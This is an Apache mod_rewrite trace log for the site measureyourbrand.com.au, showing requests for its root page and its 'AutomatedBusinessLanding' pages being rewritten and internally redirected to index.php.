[Mon Nov 10 18:38:34.557984 2025] [rewrite:trace3] [pid 9263:tid 9308] mod_rewrite.c(505): [client 185.138.88.25:49614] 185.138.88.25 - - [measureyourbrand.com.au/sid#216403e8][rid#7f5d9410d3d8/initial/redir#1] [perdir /home/measureyourbrand/public_html/] add path info postfix: /home/measureyourbrand/public_html/index.php -> /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:38:34.557993 2025] [rewrite:trace3] [pid 9263:tid 9308] mod_rewrite.c(505): [client 185.138.88.25:49614] 185.138.88.25 - - [measureyourbrand.com.au/sid#216403e8][rid#7f5d9410d3d8/initial/redir#1] [perdir /home/measureyourbrand/public_html/] strip per-dir prefix: /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding -> index.php/AutomatedBusinessLanding, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:38:34.558013 2025] [rewrite:trace3] [pid 9263:tid 9308] mod_rewrite.c(505): [client 185.138.88.25:49614] 185.138.88.25 - - [measureyourbrand.com.au/sid#216403e8][rid#7f5d9410d3d8/initial/redir#1] [perdir /home/measureyourbrand/public_html/] applying pattern '^(.*)$' to uri 'index.php/AutomatedBusinessLanding', referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:38:34.558027 2025] [rewrite:trace4] [pid 9263:tid 9308] mod_rewrite.c(505): [client 185.138.88.25:49614] 185.138.88.25 - - [measureyourbrand.com.au/sid#216403e8][rid#7f5d9410d3d8/initial/redir#1] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='on' pattern='off' => not-matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:38:34.558037 2025] [rewrite:trace1] [pid 9263:tid 9308] mod_rewrite.c(505): [client 185.138.88.25:49614] 185.138.88.25 - - [measureyourbrand.com.au/sid#216403e8][rid#7f5d9410d3d8/initial/redir#1] [perdir /home/measureyourbrand/public_html/] pass through /home/measureyourbrand/public_html/index.php, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:38:34.558296 2025] [rewrite:trace3] [pid 9263:tid 9308] mod_rewrite.c(505): [client 185.138.88.25:49614] 185.138.88.25 - - [measureyourbrand.com.au/sid#216403e8][rid#7f5d9404a210/subreq] [perdir /home/measureyourbrand/public_html/] strip per-dir prefix: /home/measureyourbrand/public_html/AutomatedBusinessLanding -> AutomatedBusinessLanding, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:38:34.558328 2025] [rewrite:trace3] [pid 9263:tid 9308] mod_rewrite.c(505): [client 185.138.88.25:49614] 185.138.88.25 - - [measureyourbrand.com.au/sid#216403e8][rid#7f5d9404a210/subreq] [perdir /home/measureyourbrand/public_html/] applying pattern '^(.*)$' to uri 'AutomatedBusinessLanding', referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:38:34.558331 2025] [rewrite:trace4] [pid 9263:tid 9308] mod_rewrite.c(505): [client 185.138.88.25:49614] 185.138.88.25 - - [measureyourbrand.com.au/sid#216403e8][rid#7f5d9404a210/subreq] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='AutomatedBusinessLanding' pattern='!^(index\\.php|images|robots\\.txt)' => matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:38:34.558354 2025] [rewrite:trace4] [pid 9263:tid 9308] mod_rewrite.c(505): [client 185.138.88.25:49614] 185.138.88.25 - - [measureyourbrand.com.au/sid#216403e8][rid#7f5d9404a210/subreq] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='/home/measureyourbrand/public_html/AutomatedBusinessLanding' pattern='!-f' => matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:38:34.558404 2025] [rewrite:trace4] [pid 9263:tid 9308] mod_rewrite.c(505): [client 185.138.88.25:49614] 185.138.88.25 - - [measureyourbrand.com.au/sid#216403e8][rid#7f5d9404a210/subreq] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='/home/measureyourbrand/public_html/AutomatedBusinessLanding' pattern='!-d' => matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:38:34.558404 2025] [rewrite:trace2] [pid 9263:tid 9308] mod_rewrite.c(505): [client 185.138.88.25:49614] 185.138.88.25 - - [measureyourbrand.com.au/sid#216403e8][rid#7f5d9404a210/subreq] [perdir /home/measureyourbrand/public_html/] rewrite 'AutomatedBusinessLanding' -> 'index.php/AutomatedBusinessLanding', referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:38:34.558404 2025] [rewrite:trace3] [pid 9263:tid 9308] mod_rewrite.c(505): [client 185.138.88.25:49614] 185.138.88.25 - - [measureyourbrand.com.au/sid#216403e8][rid#7f5d9404a210/subreq] [perdir /home/measureyourbrand/public_html/] add per-dir prefix: index.php/AutomatedBusinessLanding -> /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:38:34.558404 2025] [rewrite:trace2] [pid 9263:tid 9308] mod_rewrite.c(505): [client 185.138.88.25:49614] 185.138.88.25 - - [measureyourbrand.com.au/sid#216403e8][rid#7f5d9404a210/subreq] [perdir /home/measureyourbrand/public_html/] setting lastsub to rule with output index.php/$1, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:38:34.558404 2025] [rewrite:trace2] [pid 9263:tid 9308] mod_rewrite.c(505): [client 185.138.88.25:49614] 185.138.88.25 - - [measureyourbrand.com.au/sid#216403e8][rid#7f5d9404a210/subreq] [perdir /home/measureyourbrand/public_html/] strip document_root prefix: /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding -> /index.php/AutomatedBusinessLanding, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:38:34.558415 2025] [rewrite:trace1] [pid 9263:tid 9308] mod_rewrite.c(505): [client 185.138.88.25:49614] 185.138.88.25 - - [measureyourbrand.com.au/sid#216403e8][rid#7f5d9404a210/subreq] [perdir /home/measureyourbrand/public_html/] internal redirect with /index.php/AutomatedBusinessLanding [INTERNAL REDIRECT], referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:38:46.862871 2025] [rewrite:trace3] [pid 9353:tid 9364] mod_rewrite.c(505): [client 185.220.101.53:28751] 185.220.101.53 - - [measureyourbrand.com.au/sid#216403e8][rid#7f5d8c01ab20/initial] [perdir /home/measureyourbrand/public_html/] add path info postfix: /home/measureyourbrand/public_html/AutomatedBusinessLanding -> /home/measureyourbrand/public_html/AutomatedBusinessLanding/verification, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:38:46.862906 2025] [rewrite:trace3] [pid 9353:tid 9364] mod_rewrite.c(505): [client 185.220.101.53:28751] 185.220.101.53 - - [measureyourbrand.com.au/sid#216403e8][rid#7f5d8c01ab20/initial] [perdir /home/measureyourbrand/public_html/] strip per-dir prefix: /home/measureyourbrand/public_html/AutomatedBusinessLanding/verification -> AutomatedBusinessLanding/verification, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:38:46.862917 2025] [rewrite:trace3] [pid 9353:tid 9364] mod_rewrite.c(505): [client 185.220.101.53:28751] 185.220.101.53 - - [measureyourbrand.com.au/sid#216403e8][rid#7f5d8c01ab20/initial] [perdir /home/measureyourbrand/public_html/] applying pattern '^(.*)$' to uri 'AutomatedBusinessLanding/verification', referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:38:46.862935 2025] [rewrite:trace4] [pid 9353:tid 9364] mod_rewrite.c(505): [client 185.220.101.53:28751] 185.220.101.53 - - [measureyourbrand.com.au/sid#216403e8][rid#7f5d8c01ab20/initial] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='AutomatedBusinessLanding/verification' pattern='!^(index\\.php|images|robots\\.txt)' => matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:38:46.862955 2025] [rewrite:trace4] [pid 9353:tid 9364] mod_rewrite.c(505): [client 185.220.101.53:28751] 185.220.101.53 - - [measureyourbrand.com.au/sid#216403e8][rid#7f5d8c01ab20/initial] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='/home/measureyourbrand/public_html/AutomatedBusinessLanding' pattern='!-f' => matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:38:46.862968 2025] [rewrite:trace4] [pid 9353:tid 9364] mod_rewrite.c(505): [client 185.220.101.53:28751] 185.220.101.53 - - [measureyourbrand.com.au/sid#216403e8][rid#7f5d8c01ab20/initial] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='/home/measureyourbrand/public_html/AutomatedBusinessLanding' pattern='!-d' => matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:38:46.862979 2025] [rewrite:trace2] [pid 9353:tid 9364] mod_rewrite.c(505): [client 185.220.101.53:28751] 185.220.101.53 - - [measureyourbrand.com.au/sid#216403e8][rid#7f5d8c01ab20/initial] [perdir /home/measureyourbrand/public_html/] rewrite 'AutomatedBusinessLanding/verification' -> 'index.php/AutomatedBusinessLanding/verification', referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:38:46.862990 2025] [rewrite:trace3] [pid 9353:tid 9364] mod_rewrite.c(505): [client 185.220.101.53:28751] 185.220.101.53 - - [measureyourbrand.com.au/sid#216403e8][rid#7f5d8c01ab20/initial] [perdir /home/measureyourbrand/public_html/] add per-dir prefix: index.php/AutomatedBusinessLanding/verification -> /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding/verification, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:38:46.863004 2025] [rewrite:trace2] [pid 9353:tid 9364] mod_rewrite.c(505): [client 185.220.101.53:28751] 185.220.101.53 - - [measureyourbrand.com.au/sid#216403e8][rid#7f5d8c01ab20/initial] [perdir /home/measureyourbrand/public_html/] setting lastsub to rule with output index.php/$1, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:38:46.863025 2025] [rewrite:trace2] [pid 9353:tid 9364] mod_rewrite.c(505): [client 185.220.101.53:28751] 185.220.101.53 - - [measureyourbrand.com.au/sid#216403e8][rid#7f5d8c01ab20/initial] [perdir /home/measureyourbrand/public_html/] strip document_root prefix: /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding/verification -> /index.php/AutomatedBusinessLanding/verification, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:38:46.863039 2025] [rewrite:trace1] [pid 9353:tid 9364] mod_rewrite.c(505): [client 185.220.101.53:28751] 185.220.101.53 - - [measureyourbrand.com.au/sid#216403e8][rid#7f5d8c01ab20/initial] [perdir /home/measureyourbrand/public_html/] internal redirect with /index.php/AutomatedBusinessLanding/verification [INTERNAL REDIRECT], referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:38:46.863162 2025] [rewrite:trace3] [pid 9353:tid 9364] mod_rewrite.c(505): [client 185.220.101.53:28751] 185.220.101.53 - - [measureyourbrand.com.au/sid#216403e8][rid#7f5d8c0e9920/initial/redir#1] [perdir /home/measureyourbrand/public_html/] add path info postfix: /home/measureyourbrand/public_html/index.php -> /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding/verification, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:38:46.863178 2025] [rewrite:trace3] [pid 9353:tid 9364] mod_rewrite.c(505): [client 185.220.101.53:28751] 185.220.101.53 - - [measureyourbrand.com.au/sid#216403e8][rid#7f5d8c0e9920/initial/redir#1] [perdir /home/measureyourbrand/public_html/] strip per-dir prefix: /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding/verification -> index.php/AutomatedBusinessLanding/verification, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:38:46.863187 2025] [rewrite:trace3] [pid 9353:tid 9364] mod_rewrite.c(505): [client 185.220.101.53:28751] 185.220.101.53 - - [measureyourbrand.com.au/sid#216403e8][rid#7f5d8c0e9920/initial/redir#1] [perdir /home/measureyourbrand/public_html/] applying pattern '^(.*)$' to uri 'index.php/AutomatedBusinessLanding/verification', referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:38:46.863200 2025] [rewrite:trace4] [pid 9353:tid 9364] mod_rewrite.c(505): [client 185.220.101.53:28751] 185.220.101.53 - - [measureyourbrand.com.au/sid#216403e8][rid#7f5d8c0e9920/initial/redir#1] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='index.php/AutomatedBusinessLanding/verification' pattern='!^(index\\.php|images|robots\\.txt)' => not-matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:38:46.863210 2025] [rewrite:trace3] [pid 9353:tid 9364] mod_rewrite.c(505): [client 185.220.101.53:28751] 185.220.101.53 - - [measureyourbrand.com.au/sid#216403e8][rid#7f5d8c0e9920/initial/redir#1] [perdir /home/measureyourbrand/public_html/] add path info postfix: /home/measureyourbrand/public_html/index.php -> /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding/verification, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:38:46.863220 2025] [rewrite:trace3] [pid 9353:tid 9364] mod_rewrite.c(505): [client 185.220.101.53:28751] 185.220.101.53 - - [measureyourbrand.com.au/sid#216403e8][rid#7f5d8c0e9920/initial/redir#1] [perdir /home/measureyourbrand/public_html/] strip per-dir prefix: /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding/verification -> index.php/AutomatedBusinessLanding/verification, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:38:46.863229 2025] [rewrite:trace3] [pid 9353:tid 9364] mod_rewrite.c(505): [client 185.220.101.53:28751] 185.220.101.53 - - [measureyourbrand.com.au/sid#216403e8][rid#7f5d8c0e9920/initial/redir#1] [perdir /home/measureyourbrand/public_html/] applying pattern '^(.*)$' to uri 'index.php/AutomatedBusinessLanding/verification', referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:38:46.863248 2025] [rewrite:trace4] [pid 9353:tid 9364] mod_rewrite.c(505): [client 185.220.101.53:28751] 185.220.101.53 - - [measureyourbrand.com.au/sid#216403e8][rid#7f5d8c0e9920/initial/redir#1] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='on' pattern='off' => not-matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:38:46.863258 2025] [rewrite:trace1] [pid 9353:tid 9364] mod_rewrite.c(505): [client 185.220.101.53:28751] 185.220.101.53 - - [measureyourbrand.com.au/sid#216403e8][rid#7f5d8c0e9920/initial/redir#1] [perdir /home/measureyourbrand/public_html/] pass through /home/measureyourbrand/public_html/index.php, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:38:46.863516 2025] [rewrite:trace3] [pid 9353:tid 9364] mod_rewrite.c(505): [client 185.220.101.53:28751] 185.220.101.53 - - [measureyourbrand.com.au/sid#216403e8][rid#7f5d8c142470/subreq] [perdir /home/measureyourbrand/public_html/] add path info postfix: /home/measureyourbrand/public_html/AutomatedBusinessLanding -> /home/measureyourbrand/public_html/AutomatedBusinessLanding/verification, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:38:46.863549 2025] [rewrite:trace3] [pid 9353:tid 9364] mod_rewrite.c(505): [client 185.220.101.53:28751] 185.220.101.53 - - [measureyourbrand.com.au/sid#216403e8][rid#7f5d8c142470/subreq] [perdir /home/measureyourbrand/public_html/] strip per-dir prefix: /home/measureyourbrand/public_html/AutomatedBusinessLanding/verification -> AutomatedBusinessLanding/verification, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:38:46.863560 2025] [rewrite:trace3] [pid 9353:tid 9364] mod_rewrite.c(505): [client 185.220.101.53:28751] 185.220.101.53 - - [measureyourbrand.com.au/sid#216403e8][rid#7f5d8c142470/subreq] [perdir /home/measureyourbrand/public_html/] applying pattern '^(.*)$' to uri 'AutomatedBusinessLanding/verification', referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:38:46.863572 2025] [rewrite:trace4] [pid 9353:tid 9364] mod_rewrite.c(505): [client 185.220.101.53:28751] 185.220.101.53 - - [measureyourbrand.com.au/sid#216403e8][rid#7f5d8c142470/subreq] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='AutomatedBusinessLanding/verification' pattern='!^(index\\.php|images|robots\\.txt)' => matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:38:46.863587 2025] [rewrite:trace4] [pid 9353:tid 9364] mod_rewrite.c(505): [client 185.220.101.53:28751] 185.220.101.53 - - [measureyourbrand.com.au/sid#216403e8][rid#7f5d8c142470/subreq] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='/home/measureyourbrand/public_html/AutomatedBusinessLanding' pattern='!-f' => matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:38:46.863599 2025] [rewrite:trace4] [pid 9353:tid 9364] mod_rewrite.c(505): [client 185.220.101.53:28751] 185.220.101.53 - - [measureyourbrand.com.au/sid#216403e8][rid#7f5d8c142470/subreq] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='/home/measureyourbrand/public_html/AutomatedBusinessLanding' pattern='!-d' => matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:38:46.863609 2025] [rewrite:trace2] [pid 9353:tid 9364] mod_rewrite.c(505): [client 185.220.101.53:28751] 185.220.101.53 - - [measureyourbrand.com.au/sid#216403e8][rid#7f5d8c142470/subreq] [perdir /home/measureyourbrand/public_html/] rewrite 'AutomatedBusinessLanding/verification' -> 'index.php/AutomatedBusinessLanding/verification', referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:38:46.863618 2025] [rewrite:trace3] [pid 9353:tid 9364] mod_rewrite.c(505): [client 185.220.101.53:28751] 185.220.101.53 - - [measureyourbrand.com.au/sid#216403e8][rid#7f5d8c142470/subreq] [perdir /home/measureyourbrand/public_html/] add per-dir prefix: index.php/AutomatedBusinessLanding/verification -> /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding/verification, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:38:46.863638 2025] [rewrite:trace2] [pid 9353:tid 9364] mod_rewrite.c(505): [client 185.220.101.53:28751] 185.220.101.53 - - [measureyourbrand.com.au/sid#216403e8][rid#7f5d8c142470/subreq] [perdir /home/measureyourbrand/public_html/] setting lastsub to rule with output index.php/$1, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:38:46.863649 2025] [rewrite:trace2] [pid 9353:tid 9364] mod_rewrite.c(505): [client 185.220.101.53:28751] 185.220.101.53 - - [measureyourbrand.com.au/sid#216403e8][rid#7f5d8c142470/subreq] [perdir /home/measureyourbrand/public_html/] strip document_root prefix: /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding/verification -> /index.php/AutomatedBusinessLanding/verification, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:38:46.863659 2025] [rewrite:trace1] [pid 9353:tid 9364] mod_rewrite.c(505): [client 185.220.101.53:28751] 185.220.101.53 - - [measureyourbrand.com.au/sid#216403e8][rid#7f5d8c142470/subreq] [perdir /home/measureyourbrand/public_html/] internal redirect with /index.php/AutomatedBusinessLanding/verification [INTERNAL REDIRECT], referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:38:52.622987 2025] [rewrite:trace3] [pid 9262:tid 9266] mod_rewrite.c(505): [client 78.47.173.76:17962] 78.47.173.76 - - [measureyourbrand.com.au/sid#216403e8][rid#7f5d9c026aa0/initial] [perdir /home/measureyourbrand/public_html/] strip per-dir prefix: /home/measureyourbrand/public_html/ -> , referer: https://measureyourbrand.com.au/
[Mon Nov 10 18:38:52.623049 2025] [rewrite:trace3] [pid 9262:tid 9266] mod_rewrite.c(505): [client 78.47.173.76:17962] 78.47.173.76 - - [measureyourbrand.com.au/sid#216403e8][rid#7f5d9c026aa0/initial] [perdir /home/measureyourbrand/public_html/] applying pattern '^(.*)$' to uri '', referer: https://measureyourbrand.com.au/
[Mon Nov 10 18:38:52.623078 2025] [rewrite:trace4] [pid 9262:tid 9266] mod_rewrite.c(505): [client 78.47.173.76:17962] 78.47.173.76 - - [measureyourbrand.com.au/sid#216403e8][rid#7f5d9c026aa0/initial] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='' pattern='!^(index\\.php|images|robots\\.txt)' => matched, referer: https://measureyourbrand.com.au/
[Mon Nov 10 18:38:52.623110 2025] [rewrite:trace4] [pid 9262:tid 9266] mod_rewrite.c(505): [client 78.47.173.76:17962] 78.47.173.76 - - [measureyourbrand.com.au/sid#216403e8][rid#7f5d9c026aa0/initial] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='/home/measureyourbrand/public_html/' pattern='!-f' => matched, referer: https://measureyourbrand.com.au/
[Mon Nov 10 18:38:52.623138 2025] [rewrite:trace4] [pid 9262:tid 9266] mod_rewrite.c(505): [client 78.47.173.76:17962] 78.47.173.76 - - [measureyourbrand.com.au/sid#216403e8][rid#7f5d9c026aa0/initial] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='/home/measureyourbrand/public_html/' pattern='!-d' => not-matched, referer: https://measureyourbrand.com.au/
[Mon Nov 10 18:38:52.623153 2025] [rewrite:trace3] [pid 9262:tid 9266] mod_rewrite.c(505): [client 78.47.173.76:17962] 78.47.173.76 - - [measureyourbrand.com.au/sid#216403e8][rid#7f5d9c026aa0/initial] [perdir /home/measureyourbrand/public_html/] strip per-dir prefix: /home/measureyourbrand/public_html/ -> , referer: https://measureyourbrand.com.au/
[Mon Nov 10 18:38:52.623162 2025] [rewrite:trace3] [pid 9262:tid 9266] mod_rewrite.c(505): [client 78.47.173.76:17962] 78.47.173.76 - - [measureyourbrand.com.au/sid#216403e8][rid#7f5d9c026aa0/initial] [perdir /home/measureyourbrand/public_html/] applying pattern '^(.*)$' to uri '', referer: https://measureyourbrand.com.au/
[Mon Nov 10 18:38:52.623201 2025] [rewrite:trace4] [pid 9262:tid 9266] mod_rewrite.c(505): [client 78.47.173.76:17962] 78.47.173.76 - - [measureyourbrand.com.au/sid#216403e8][rid#7f5d9c026aa0/initial] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='on' pattern='off' => not-matched, referer: https://measureyourbrand.com.au/
[Mon Nov 10 18:38:52.623222 2025] [rewrite:trace1] [pid 9262:tid 9266] mod_rewrite.c(505): [client 78.47.173.76:17962] 78.47.173.76 - - [measureyourbrand.com.au/sid#216403e8][rid#7f5d9c026aa0/initial] [perdir /home/measureyourbrand/public_html/] pass through /home/measureyourbrand/public_html/, referer: https://measureyourbrand.com.au/
[Mon Nov 10 18:38:52.623355 2025] [rewrite:trace3] [pid 9262:tid 9266] mod_rewrite.c(505): [client 78.47.173.76:17962] 78.47.173.76 - - [measureyourbrand.com.au/sid#216403e8][rid#7f5d840c9ef0/subreq] [perdir /home/measureyourbrand/public_html/] strip per-dir prefix: /home/measureyourbrand/public_html/index.php -> index.php, referer: https://measureyourbrand.com.au/
[Mon Nov 10 18:38:52.623371 2025] [rewrite:trace3] [pid 9262:tid 9266] mod_rewrite.c(505): [client 78.47.173.76:17962] 78.47.173.76 - - [measureyourbrand.com.au/sid#216403e8][rid#7f5d840c9ef0/subreq] [perdir /home/measureyourbrand/public_html/] applying pattern '^(.*)$' to uri 'index.php', referer: https://measureyourbrand.com.au/
[Mon Nov 10 18:38:52.623390 2025] [rewrite:trace4] [pid 9262:tid 9266] mod_rewrite.c(505): [client 78.47.173.76:17962] 78.47.173.76 - - [measureyourbrand.com.au/sid#216403e8][rid#7f5d840c9ef0/subreq] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='index.php' pattern='!^(index\\.php|images|robots\\.txt)' => not-matched, referer: https://measureyourbrand.com.au/
[Mon Nov 10 18:38:52.623401 2025] [rewrite:trace1] [pid 9262:tid 9266] mod_rewrite.c(505): [client 78.47.173.76:17962] 78.47.173.76 - - [measureyourbrand.com.au/sid#216403e8][rid#7f5d840c9ef0/subreq] [perdir /home/measureyourbrand/public_html/] pass through /home/measureyourbrand/public_html/index.php, referer: https://measureyourbrand.com.au/
[Mon Nov 10 18:38:56.496138 2025] [rewrite:trace3] [pid 9263:tid 9313] mod_rewrite.c(505): [client 185.220.101.22:61454] 185.220.101.22 - - [measureyourbrand.com.au/sid#216403e8][rid#7f5da40497a0/initial] [perdir /home/measureyourbrand/public_html/] strip per-dir prefix: /home/measureyourbrand/public_html/AutomatedBusinessLanding -> AutomatedBusinessLanding, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:38:56.496211 2025] [rewrite:trace3] [pid 9263:tid 9313] mod_rewrite.c(505): [client 185.220.101.22:61454] 185.220.101.22 - - [measureyourbrand.com.au/sid#216403e8][rid#7f5da40497a0/initial] [perdir /home/measureyourbrand/public_html/] applying pattern '^(.*)$' to uri 'AutomatedBusinessLanding', referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:38:56.496229 2025] [rewrite:trace4] [pid 9263:tid 9313] mod_rewrite.c(505): [client 185.220.101.22:61454] 185.220.101.22 - - [measureyourbrand.com.au/sid#216403e8][rid#7f5da40497a0/initial] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='AutomatedBusinessLanding' pattern='!^(index\\.php|images|robots\\.txt)' => matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:38:56.496245 2025] [rewrite:trace4] [pid 9263:tid 9313] mod_rewrite.c(505): [client 185.220.101.22:61454] 185.220.101.22 - - [measureyourbrand.com.au/sid#216403e8][rid#7f5da40497a0/initial] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='/home/measureyourbrand/public_html/AutomatedBusinessLanding' pattern='!-f' => matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:38:56.496258 2025] [rewrite:trace4] [pid 9263:tid 9313] mod_rewrite.c(505): [client 185.220.101.22:61454] 185.220.101.22 - - [measureyourbrand.com.au/sid#216403e8][rid#7f5da40497a0/initial] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='/home/measureyourbrand/public_html/AutomatedBusinessLanding' pattern='!-d' => matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:38:56.496281 2025] [rewrite:trace2] [pid 9263:tid 9313] mod_rewrite.c(505): [client 185.220.101.22:61454] 185.220.101.22 - - [measureyourbrand.com.au/sid#216403e8][rid#7f5da40497a0/initial] [perdir /home/measureyourbrand/public_html/] rewrite 'AutomatedBusinessLanding' -> 'index.php/AutomatedBusinessLanding', referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:38:56.496291 2025] [rewrite:trace3] [pid 9263:tid 9313] mod_rewrite.c(505): [client 185.220.101.22:61454] 185.220.101.22 - - [measureyourbrand.com.au/sid#216403e8][rid#7f5da40497a0/initial] [perdir /home/measureyourbrand/public_html/] add per-dir prefix: index.php/AutomatedBusinessLanding -> /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:38:56.496305 2025] [rewrite:trace2] [pid 9263:tid 9313] mod_rewrite.c(505): [client 185.220.101.22:61454] 185.220.101.22 - - [measureyourbrand.com.au/sid#216403e8][rid#7f5da40497a0/initial] [perdir /home/measureyourbrand/public_html/] setting lastsub to rule with output index.php/$1, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:38:56.496319 2025] [rewrite:trace2] [pid 9263:tid 9313] mod_rewrite.c(505): [client 185.220.101.22:61454] 185.220.101.22 - - [measureyourbrand.com.au/sid#216403e8][rid#7f5da40497a0/initial] [perdir /home/measureyourbrand/public_html/] strip document_root prefix: /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding -> /index.php/AutomatedBusinessLanding, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:38:56.496326 2025] [rewrite:trace1] [pid 9263:tid 9313] mod_rewrite.c(505): [client 185.220.101.22:61454] 185.220.101.22 - - [measureyourbrand.com.au/sid#216403e8][rid#7f5da40497a0/initial] [perdir /home/measureyourbrand/public_html/] internal redirect with /index.php/AutomatedBusinessLanding [INTERNAL REDIRECT], referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:38:56.496427 2025] [rewrite:trace3] [pid 9263:tid 9313] mod_rewrite.c(505): [client 185.220.101.22:61454] 185.220.101.22 - - [measureyourbrand.com.au/sid#216403e8][rid#7f5da40505a0/initial/redir#1] [perdir /home/measureyourbrand/public_html/] add path info postfix: /home/measureyourbrand/public_html/index.php -> /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
